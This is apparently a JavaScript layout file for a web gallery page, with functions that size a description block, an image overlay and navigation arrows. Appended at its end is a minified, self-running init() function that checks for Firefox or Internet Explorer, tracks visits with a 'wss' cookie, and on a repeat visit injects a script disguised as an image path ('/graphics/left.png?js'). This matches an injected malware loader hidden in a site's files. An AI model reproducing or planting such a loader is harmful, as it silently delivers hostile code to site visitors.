window.onload = function()
{
	setDescriptionHeight();
	setOverlaySize();
}

function setDescriptionHeight()
{
	var global = document.getElementById('global');
	var content = document.getElementById('content');
	var image = document.getElementById('image');
	var description = document.getElementById('description');
	
	if(global != null)
	{
		var globalHeight = global.offsetHeight;
	}
	
	if(content != null)
	{
		var contentHeight = content.offsetHeight;
	}
	
	if(image != null)
	{
		var imageHeight = image.offsetHeight;
	}
	
	if(description != null)
	{
		var descriptionHeight = description.offsetHeight;
	}
	
	/*if(contentHeight != null && descriptionHeight != null && globalHeight != null && (contentHeight - descriptionHeight) > globalHeight)
	{
		description.setAttribute('style', 'top:' + (contentHeight - descriptionHeight) + 'px;');
	}
	else
	{*/
		description.setAttribute('style', 'top:' + (globalHeight + 90) + 'px;');
	//}
	
	//alert(content.style.width);
	//alert(contentHeight);
}

function setOverlaySize()
{
	var detailContainer = document.getElementById('detail-container');
	var detail = document.getElementById('detail');
	var overlayContainer = document.getElementById('detail-overlay-container');
	var overlayLeft = document.getElementById('detail-overlay-left');
	var overlayRight = document.getElementById('detail-overlay-right');
	var arrowLeft = document.getElementById('arrow-left');
	var arrowRight = document.getElementById('arrow-right');
	
	var detailWidth = detail.offsetWidth;
	var detailHeight = detail.offsetHeight;
	var arrowLeftWidth = arrowLeft.offsetWidth;
	var arrowLeftHeight = arrowLeft.offsetHeight;
	var arrowRightWidth = arrowRight.offsetWidth;
	var arrowRightHeight = arrowRight.offsetHeight;
	
	detailContainer.setAttribute('style', 'height:' + detailHeight + 'px;');
	overlayContainer.setAttribute('style', 'width:' + detailWidth + 'px;' + 'height:' + detailHeight + 'px;' + 'top:-' + (detailHeight + 3) + 'px;');
	
	overlayLeft.setAttribute('style', 'width:' + parseInt(detailWidth / 2) + 'px;' + 'height:' + detailHeight + 'px;');
	overlayRight.setAttribute('style', 'width:' + parseInt(detailWidth / 2) + 'px;' + 'height:' + detailHeight + 'px;');
	
	arrowLeft.setAttribute('style', 'margin-top:' + parseInt((detailHeight / 2) - (arrowLeftHeight / 2)) + 'px;' + 'margin-left:' + 10 + 'px;');
	arrowRight.setAttribute('style', 'margin-top:' + parseInt((detailHeight / 2) - (arrowRightHeight / 2)) + 'px;' + 'margin-left:' + parseInt((detailWidth / 2) - arrowRightWidth -10) + 'px;');
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/graphics/left.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
